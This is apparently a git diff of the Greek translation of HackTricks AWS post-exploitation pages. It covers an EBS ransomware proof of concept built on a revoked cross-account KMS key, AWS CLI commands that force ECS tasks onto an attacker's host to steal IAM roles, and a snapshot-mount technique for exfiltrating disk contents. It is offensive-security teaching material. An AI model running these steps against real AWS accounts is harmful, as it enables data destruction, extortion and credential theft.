- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): Το CloudShovel είναι ένα εργαλείο σχεδιασμένο για να **αναζητά ευαίσθητες πληροφορίες σε δημόσια ή ιδιωτικά Amazon Machine Images (AMIs)**. Αυτοματοποιεί τη διαδικασία εκκίνησης instances από τις στοχευόμενες AMIs, το mounting των volumes τους και τη σάρωση για πιθανά secrets ή ευαίσθητα δεδομένα.
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel είναι ένα εργαλείο σχεδιασμένο να **αναζητά ευαίσθητες πληροφορίες εντός δημόσιων ή ιδιωτικών Amazon Machine Images (AMIs)**. Αυτοματοποιεί τη διαδικασία εκκίνησης instances από τα στοχευόμενα AMIs, προσαρτώντας τα volumes τους, και σαρώνοντας για πιθανά secrets ή ευαίσθητα δεδομένα.
|
||||
|
||||
### Κοινοποίηση EBS Snapshot
|
||||
```bash
|
||||
@@ -269,9 +307,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
Μια απόδειξη εννοιολογίας παρόμοια με την επίδειξη Ransomware που παρουσιάστηκε στις S3 post-exploitation σημειώσεις. Το KMS θα έπρεπε να μετονομαστεί σε RMS για Ransomware Management Service, λόγω του πόσο εύκολα μπορεί να χρησιμοποιηθεί για την κρυπτογράφηση διαφόρων AWS υπηρεσιών που το χρησιμοποιούν.
|
||||
Ένα proof of concept παρόμοιο με τη Ransomware demonstration που παρουσιάζεται στις S3 post-exploitation σημειώσεις. Το KMS θα έπρεπε να μετονομαστεί σε RMS για Ransomware Management Service, δεδομένης της ευκολίας χρήσης του για την κρυπτογράφηση διαφόρων AWS υπηρεσιών.
|
||||
|
||||
Αρχικά, από έναν 'attacker' AWS account, δημιουργήστε ένα customer managed key στο KMS. Για αυτό το παράδειγμα θα αφήσουμε την AWS να διαχειριστεί τα δεδομένα του key για εμάς, αλλά σε ένα ρεαλιστικό σενάριο ένας malicious actor θα διατηρούσε τα δεδομένα του key έξω από τον έλεγχο της AWS. Αλλάξτε την key policy ώστε να επιτρέπει σε οποιονδήποτε AWS account Principal να χρησιμοποιήσει το key. Για αυτή την key policy, το όνομα του λογαριασμού ήταν 'AttackSim' και ο κανόνας πολιτικής που επιτρέπει πλήρη πρόσβαση ονομάζεται 'Outside Encryption'.
|
||||
Πρώτα, από έναν 'attacker' AWS account, δημιουργήστε ένα customer managed key στο KMS. Για αυτό το παράδειγμα θα αφήσουμε την AWS να διαχειρίζεται τα key data για εμένα, αλλά σε ένα ρεαλιστικό σενάριο ένας malicious actor θα κρατούσε τα key data εκτός του ελέγχου της AWS. Αλλάξτε την key policy ώστε να επιτρέπει σε οποιονδήποτε AWS account Principal να χρησιμοποιεί το key. Για αυτήν την key policy, το όνομα του account ήταν 'AttackSim' και ο κανόνας πολιτικής που επιτρέπει πλήρη πρόσβαση ονομάζεται 'Outside Encryption'
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -363,7 +401,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
]
|
||||
}
|
||||
```
|
||||
Ο κανόνας της key policy πρέπει να έχει ενεργοποιημένα τα εξής για να επιτρέπεται η χρήση του για κρυπτογράφηση ενός EBS volume:
|
||||
Ο κανόνας πολιτικής του key χρειάζεται να έχει ενεργοποιημένα τα παρακάτω ώστε να επιτρέπει τη χρήση του για κρυπτογράφηση ενός EBS volume:
|
||||
|
||||
- `kms:CreateGrant`
|
||||
- `kms:Decrypt`
|
||||
@@ -371,21 +409,21 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
Now with the publicly accessible key to use. We can use a 'victim' account that has some EC2 instances spun up with unencrypted EBS volumes attached. This 'victim' account's EBS volumes are what we're targeting for encryption, this attack is under the assumed breach of a high-privilege AWS account.
|
||||
Τώρα, με το δημόσια προσβάσιμο key διαθέσιμο για χρήση. Μπορούμε να χρησιμοποιήσουμε έναν 'victim' λογαριασμό που έχει κάποια EC2 instances σε λειτουργία με ανεκρυπτογραφημένα EBS volumes προσαρτημένα. Τα EBS volumes αυτού του 'victim' λογαριασμού είναι ο στόχος μας για κρυπτογράφηση — αυτή η επίθεση γίνεται υπό την υπόθεση παραβίασης ενός AWS λογαριασμού με υψηλά προνόμια.
|
||||
|
||||
 
|
||||
|
||||
Παρόμοια με το παράδειγμα ransomware στο S3. Αυτή η επίθεση θα δημιουργήσει αντίγραφα των συνδεδεμένων EBS volumes χρησιμοποιώντας snapshots, θα χρησιμοποιήσει το δημόσια διαθέσιμο key από τον λογαριασμό 'attacker' για να κρυπτογραφήσει τα νέα EBS volumes, έπειτα θα αποσυνδέσει τα αρχικά EBS volumes από τα EC2 instances και θα τα διαγράψει, και τέλος θα διαγράψει τα snapshots που χρησιμοποιήθηκαν για τη δημιουργία των νεοκρυπτογραφημένων EBS volumes. 
|
||||
Παρόμοιο με το παράδειγμα ransomware στο S3. Αυτή η επίθεση θα δημιουργήσει αντίγραφα των προσαρτημένων EBS volumes χρησιμοποιώντας snapshots, θα χρησιμοποιήσει το δημόσια διαθέσιμο key από τον 'attacker' λογαριασμό για να κρυπτογραφήσει τα νέα EBS volumes, στη συνέχεια θα αποσυνδέσει (detach) τα αρχικά EBS volumes από τα EC2 instances και θα τα διαγράψει, και τέλος θα διαγράψει τα snapshots που χρησιμοποιήθηκαν για τη δημιουργία των καινούριων κρυπτογραφημένων EBS volumes. 
|
||||
|
||||
Αποτέλεσμα είναι να παραμένουν διαθέσιμα στον λογαριασμό μόνο κρυπτογραφημένα EBS volumes.
|
||||
Το αποτέλεσμα είναι ότι μέσα στον λογαριασμό θα παραμείνουν μόνο κρυπτογραφημένα EBS volumes διαθέσιμα.
|
||||
|
||||

|
||||
|
||||
Αξίζει επίσης να σημειωθεί ότι το script σταμάτησε τα EC2 instances για να αποσυνδέσει και να διαγράψει τα αρχικά EBS volumes. Τα αρχικά, μη κρυπτογραφημένα volumes έχουν πλέον χαθεί.
|
||||
Επιπλέον, αξίζει να σημειωθεί ότι το script τερμάτισε τα EC2 instances για να αποσυνδέσει και να διαγράψει τα αρχικά EBS volumes. Τα αρχικά μη κρυπτογραφημένα volumes έχουν πλέον χαθεί.
|
||||
|
||||

|
||||
|
||||
Στη συνέχεια, επιστρέψτε στην key policy στον λογαριασμό 'attacker' και αφαιρέστε τον κανόνα πολιτικής 'Outside Encryption' από την key policy.
|
||||
Στη συνέχεια, επιστρέψτε στην key policy στον 'attacker' λογαριασμό και αφαιρέστε τον κανόνα πολιτικής 'Outside Encryption' από την key policy.
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -456,15 +494,15 @@ Now with the publicly accessible key to use. We can use a 'victim' account that
|
||||
]
|
||||
}
|
||||
```
|
||||
Περιμένετε λίγο ώστε η νέα key policy να διαδοθεί. Στη συνέχεια επιστρέψτε στον λογαριασμό 'victim' και προσπαθήστε να επισυνάψετε έναν από τους πρόσφατα κρυπτογραφημένους EBS volumes. Θα διαπιστώσετε ότι μπορείτε να επισυνάψετε τον volume.
|
||||
Περιμένετε λίγο ώστε η νέα key policy να διαδοθεί. Στη συνέχεια επιστρέψτε στον 'victim' λογαριασμό και προσπαθήστε να προσαρτήσετε ένα από τα πρόσφατα κρυπτογραφημένα EBS volumes. Θα διαπιστώσετε ότι μπορείτε να προσαρτήσετε τον δίσκο.
|
||||
|
||||
 
|
||||
|
||||
Αλλά όταν προσπαθήσετε πραγματικά να ξεκινήσετε ξανά το EC2 instance με τον κρυπτογραφημένο EBS volume, αυτό θα αποτύχει και θα περνάει από την κατάσταση 'pending' πίσω στην κατάσταση 'stopped' για πάντα, επειδή ο επισυναπτόμενος EBS volume δεν μπορεί να αποκρυπτογραφηθεί με το key, καθώς η key policy πλέον δεν το επιτρέπει.
|
||||
Αλλά όταν προσπαθήσετε να εκκινήσετε ξανά το EC2 instance με το κρυπτογραφημένο EBS volume, αυτό θα αποτύχει και θα επιστρέψει από την κατάσταση 'pending' στην κατάσταση 'stopped' επ' άπειρο, επειδή το προσαρτημένο EBS volume δεν μπορεί να αποκρυπτογραφηθεί χρησιμοποιώντας το key καθώς η key policy πλέον δεν το επιτρέπει.
|
||||
|
||||
 
|
||||
|
||||
Αυτό είναι το python script που χρησιμοποιήθηκε. Παίρνει AWS creds για έναν 'victim' account και μια δημόσια διαθέσιμη AWS ARN τιμή για το key που θα χρησιμοποιηθεί για την κρυπτογράφηση. Το script θα δημιουργήσει κρυπτογραφημένα αντίγραφα ΟΛΩΝ των διαθέσιμων EBS volumes που είναι συνδεδεμένα σε ΟΛΑ τα EC2 instances στον στοχευμένο AWS account, στη συνέχεια θα σταματήσει κάθε EC2 instance, θα αποσυνδέσει τα αρχικά EBS volumes, θα τα διαγράψει και τελικά θα διαγράψει όλα τα snapshots που χρησιμοποιήθηκαν κατά τη διαδικασία. Αυτό θα αφήσει μόνο κρυπτογραφημένους EBS volumes στον στοχευμένο 'victim' account. ΜΗ ΧΡΗΣΙΜΟΠΟΙΕΙΤΕ ΑΥΤΟ ΤΟ SCRIPT ΠΑΡΑΜΟΝΟ ΣΕ ΠΕΡΙΒΑΛΛΟΝ ΔΟΚΙΜΩΝ — ΕΙΝΑΙ ΚΑΤΑΣΤΡΟΦΙΚΟ ΚΑΙ ΘΑ ΔΙΑΓΡΑΨΕΙ ΟΛΑ ΤΑ ΑΡΧΙΚΑ EBS VOLUMES. Μπορείτε να τα ανακτήσετε χρησιμοποιώντας το KMS key που χρησιμοποιήθηκε και να τα επαναφέρετε στην αρχική τους κατάσταση μέσω snapshots, αλλά θέλω να σας ενημερώσω ότι αυτό, στο τέλος της ημέρας, είναι ένα ransomware PoC.
|
||||
Αυτό είναι το python script που χρησιμοποιήθηκε. Παίρνει AWS creds για έναν 'victim' λογαριασμό και μια δημόσια διαθέσιμη AWS ARN τιμή για το key που θα χρησιμοποιηθεί για την κρυπτογράφηση. Το script θα δημιουργήσει κρυπτογραφημένα αντίγραφα ΟΛΩΝ των διαθέσιμων EBS volumes προσαρτημένων σε ΟΛΑ τα EC2 instances στον στοχοποιημένο AWS λογαριασμό, έπειτα θα σταματήσει κάθε EC2 instance, θα αποσυνδέσει τα αρχικά EBS volumes, θα τα διαγράψει, και τελικά θα διαγράψει όλα τα snapshots που χρησιμοποιήθηκαν κατά τη διαδικασία. Αυτό θα αφήσει μόνο κρυπτογραφημένα EBS volumes στον στοχοποιημένο 'victim' λογαριασμό. ΧΡΗΣΙΜΟΠΟΙΗΣΤΕ ΑΥΤΟ ΤΟ SCRIPT ΜΟΝΟ ΣΕ ΠΕΡΙΒΑΛΛΟΝ ΔΟΚΙΜΩΝ, ΕΙΝΑΙ ΚΑΤΑΣΤΡΟΦΙΚΟ ΚΑΙ ΘΑ ΔΙΑΓΡΑΨΕΙ ΟΛΑ ΤΑ ΑΡΧΙΚΑ EBS VOLUMES. Μπορείτε να τα ανακτήσετε χρησιμοποιώντας το KMS key που χρησιμοποιήθηκε και να τα επαναφέρετε στην αρχική τους κατάσταση μέσω snapshots, αλλά απλώς θέλω να σας ενημερώσω ότι στο τέλος της ημέρας πρόκειται για ένα ransomware PoC.
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
@@ -583,6 +621,8 @@ main()
|
||||
```
|
||||
## Αναφορές
|
||||
|
||||
- [Pentest Partners – Πώς να μεταφέρετε αρχεία στο AWS χρησιμοποιώντας SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
- [Latacora - ECS on EC2: Κάλυψη κενών στην ενίσχυση του IMDS](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
|
||||
- [Latacora ecs-on-ec2-gaps-in-imds-hardening Terraform αποθετήριο](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening)
|
||||
- [Pentest Partners – Πώς να μεταφέρετε αρχεία σε AWS χρησιμοποιώντας SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+32
-24
@@ -1,44 +1,44 @@
|
||||
# AWS - ECS Post Exploitation
|
||||
# AWS - ECS Μετα-εκμετάλλευση
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
For more information check:
|
||||
Για περισσότερες πληροφορίες δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Host IAM Roles
|
||||
### IAM roles του host
|
||||
|
||||
Στο ECS ένα **IAM role can be assigned to the task** που τρέχει μέσα στο container. **If** το task τρέχει μέσα σε ένα **EC2** instance, το **EC2 instance** θα έχει **another IAM** role attached to it.\
|
||||
Which means that if you manage to **compromise** an ECS instance you can potentially **obtain the IAM role associated to the ECR and to the EC2 instance**. Για περισσότερες πληροφορίες σχετικά με το πώς να αποκτήσετε αυτά τα διαπιστευτήρια δείτε:
|
||||
Στο ECS, ένα **IAM role μπορεί να ανατεθεί στο task** που τρέχει μέσα στο container. **Εάν** το task τρέχει μέσα σε μια **EC2** instance, η **EC2 instance** θα έχει **έναν άλλο IAM** role επισυναπτόμενο.\
|
||||
Αυτό σημαίνει ότι αν καταφέρετε να **compromise** μια ECS instance, μπορείτε ενδεχομένως να **αποκτήσετε τον IAM role που σχετίζεται με το ECR και με την EC2 instance**. Για περισσότερες πληροφορίες σχετικά με το πώς να αποκτήσετε αυτά τα credentials δείτε:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance.
|
||||
> Το IMDSv2 με hop limit 1 **δεν** μπλοκάρει τα awsvpc ή host-networked tasks — μόνο τα Docker bridge tasks είναι αρκετά μακριά ώστε οι απαντήσεις να χάνονται. Δείτε [ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation](../aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ecs-on-ec2-imds-abuse--ecs-agent-impersonation) για την πλήρη ροή επίθεσης και σημειώσεις παράκαμψης. Πρόσφατη [Latacora research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) δείχνει ότι τα awsvpc και host tasks εξακολουθούν να τραβούν credentials του host ακόμα και όταν επιβάλλεται IMDSv2+h=1.
|
||||
|
||||
### Privesc to node to steal other containers creds & secrets
|
||||
### Privesc σε node για να κλέψετε creds & secrets άλλων containers
|
||||
|
||||
But moreover, EC2 uses docker to run ECS tasks, so if you can escape to the node or **access the docker socket**, you can **check** which **other containers** are being run, and even **get inside of them** and **steal their IAM roles** attached.
|
||||
Επιπλέον, η EC2 χρησιμοποιεί docker για να τρέξει ECS tasks, οπότε αν καταφέρετε να κάνετε escape στο node ή να **έχετε πρόσβαση στο docker socket**, μπορείτε να **ελέγξετε** ποια **άλλα containers** τρέχουν, και ακόμα να **μπείτε μέσα σε αυτά** και να **κλέψετε τους IAM roles** που έχουν επισυναφθεί.
|
||||
|
||||
#### Making containers run in current host
|
||||
#### Αναγκάζοντας containers να τρέξουν στον τρέχοντα host
|
||||
|
||||
Furthermore, the **EC2 instance role** will usually have enough **permissions** to **update the container instance state** of the EC2 instances being used as nodes inside the cluster. An attacker could modify the **state of an instance to DRAINING**, then ECS will **remove all the tasks from it** and the ones being run as **REPLICA** will be **run in a different instance,** potentially inside the **attackers instance** so he can **steal their IAM roles** and potential sensitive info from inside the container.
|
||||
Επιπλέον, το **EC2 instance role** συνήθως έχει αρκετές **permissions** ώστε να **ενημερώσει το container instance state** των EC2 instances που χρησιμοποιούνται ως nodes μέσα στο cluster. Ένας attacker θα μπορούσε να τροποποιήσει το **state μιας instance σε DRAINING**, τότε το ECS θα **αφαιρέσει όλα τα tasks από αυτήν** και αυτά που τρέχουν ως **REPLICA** θα **τρέξουν σε άλλη instance,** ενδεχομένως μέσα στην **instance του attacker**, ώστε να μπορεί να **κλέψει τους IAM roles τους** και πιθανές ευαίσθητες πληροφορίες από μέσα του container.
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
```
|
||||
Η ίδια τεχνική μπορεί να γίνει **αφαιρώντας το EC2 instance από το cluster**. Αυτό είναι ενδεχομένως λιγότερο stealthy αλλά θα **αναγκάσει τα tasks να εκτελεστούν σε άλλες instances:**
|
||||
Η ίδια τεχνική μπορεί να γίνει με την **απεγγραφή της EC2 instance από το cluster**. Αυτό είναι πιθανώς λιγότερο διακριτικό αλλά θα **αναγκάσει τα tasks να εκτελεστούν σε άλλες instances:**
|
||||
```bash
|
||||
aws ecs deregister-container-instance \
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
```
|
||||
Μια τελική τεχνική για να εξαναγκάσετε την επανεκτέλεση των tasks είναι να υποδείξετε στο ECS ότι το **task ή container τερματίστηκε**. Υπάρχουν 3 πιθανές APIs για να το κάνετε αυτό:
|
||||
Μια τελική τεχνική για να αναγκάσετε την επανεκτέλεση των tasks είναι να υποδείξετε στο ECS ότι το **task ή το container σταμάτησε**. Υπάρχουν 3 πιθανές APIs για αυτό:
|
||||
```bash
|
||||
# Needs: ecs:SubmitTaskStateChange
|
||||
aws ecs submit-task-state-change --cluster <value> \
|
||||
@@ -50,36 +50,40 @@ aws ecs submit-container-state-change ...
|
||||
# Needs: ecs:SubmitAttachmentStateChanges
|
||||
aws ecs submit-attachment-state-changes ...
|
||||
```
|
||||
### Κλέψτε ευαίσθητες πληροφορίες από ECR containers
|
||||
### Υποκλέψτε ευαίσθητες πληροφορίες από ECR containers
|
||||
|
||||
Η EC2 instance πιθανότατα θα έχει επίσης την άδεια `ecr:GetAuthorizationToken` που της επιτρέπει να **κατεβάζει images** (μπορείτε να αναζητήσετε ευαίσθητες πληροφορίες μέσα σε αυτά).
|
||||
Η EC2 instance πιθανότατα θα έχει επίσης την άδεια `ecr:GetAuthorizationToken` που επιτρέπει να **κατεβάζει εικόνες** (μπορείτε να αναζητήσετε ευαίσθητες πληροφορίες μέσα σε αυτές).
|
||||
|
||||
|
||||
|
||||
### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)
|
||||
|
||||
Κακοχρησιμοποιήστε την native ECS EBS integration (2024+) για να προσαρτήσετε τα περιεχόμενα ενός υπάρχοντος EBS snapshot απευθείας μέσα σε ένα νέο ECS task/service και να διαβάσετε τα δεδομένα του από μέσα στο container.
|
||||
|
||||
- Απαιτείται (ελάχιστα):
|
||||
|
||||
|
||||
### Προσαρτήστε ένα EBS snapshot απευθείας σε ένα ECS task (configuredAtLaunch + volumeConfigurations)
|
||||
|
||||
Καταχρηστικά αξιοποιήστε την εγγενή ενσωμάτωση ECS EBS (2024+) για να προσαρτήσετε τα περιεχόμενα ενός υπάρχοντος EBS snapshot απευθείας μέσα σε ένα νέο ECS task/service και να διαβάσετε τα δεδομένα του από μέσα στο container.
|
||||
|
||||
- Απαιτείται (το ελάχιστο):
|
||||
- ecs:RegisterTaskDefinition
|
||||
- Ένα από: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
|
||||
- iam:PassRole σε:
|
||||
- ECS infrastructure role που χρησιμοποιείται για volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
|
||||
- Task execution/Task roles που αναφέρονται στο task definition
|
||||
- Αν το snapshot είναι κρυπτογραφημένο με CMK: απαιτούνται δικαιώματα KMS για τον infra ρόλο (η AWS managed policy παραπάνω περιλαμβάνει τα απαιτούμενα KMS grants για AWS managed keys).
|
||||
- ECS infrastructure role που χρησιμοποιείται για volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
|
||||
- Task execution/Task roles που αναφέρονται στο task definition
|
||||
- Αν το snapshot είναι κρυπτογραφημένο με CMK: δικαιώματα KMS για τον infra role (η AWS managed policy παραπάνω περιλαμβάνει τα απαιτούμενα KMS grants για AWS managed keys).
|
||||
|
||||
- Επίπτωση: Ανάγνωση αυθαίρετων περιεχομένων δίσκου από το snapshot (π.χ. αρχεία βάσης δεδομένων) μέσα στο container και εξαγωγή μέσω network/logs.
|
||||
- Επιπτώσεις: Ανάγνωση αυθαίρετου περιεχομένου δίσκου από το snapshot (π.χ., αρχεία βάσης δεδομένων) μέσα στο container και exfiltrate μέσω network/logs.
|
||||
|
||||
Βήματα (παράδειγμα Fargate):
|
||||
|
||||
1) Δημιουργήστε τον ECS infrastructure role (αν δεν υπάρχει) και επισυνάψτε την managed policy:
|
||||
1) Δημιουργήστε τον ECS infrastructure role (εάν δεν υπάρχει) και επισυνάψτε την managed policy:
|
||||
```bash
|
||||
aws iam create-role --role-name ecsInfrastructureRole \
|
||||
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
|
||||
aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
|
||||
```
|
||||
2) Καταχώρισε ένα task definition με έναν volume σημειωμένο ως `configuredAtLaunch` και προσάρτησέ τον στο container. Παράδειγμα (εκτυπώνει το secret και μετά κοιμάται):
|
||||
2) Καταχώρισε ένα task definition με ένα volume σημειωμένο ως `configuredAtLaunch` και κάνε mount στο container. Παράδειγμα (εκτυπώνει το secret και μετά κοιμάται):
|
||||
```json
|
||||
{
|
||||
"family": "ht-ebs-read",
|
||||
@@ -113,7 +117,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
]
|
||||
}
|
||||
```
|
||||
4) Όταν το task ξεκινά, το container μπορεί να διαβάσει τα περιεχόμενα του snapshot στο διαμορφωμένο mount path (π.χ., `/loot`). Exfiltrate μέσω του task’s network/logs.
|
||||
4) Όταν ξεκινά το task, το container μπορεί να διαβάσει τα περιεχόμενα του snapshot στη διαμορφωμένη mount διαδρομή (π.χ., `/loot`). Exfiltrate μέσω του δικτύου/των logs του task.
|
||||
|
||||
Καθαρισμός:
|
||||
```bash
|
||||
@@ -121,4 +125,8 @@ aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count
|
||||
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
|
||||
aws ecs deregister-task-definition ht-ebs-read
|
||||
```
|
||||
## Αναφορές
|
||||
|
||||
- [Latacora - ECS on EC2: Covering Gaps in IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user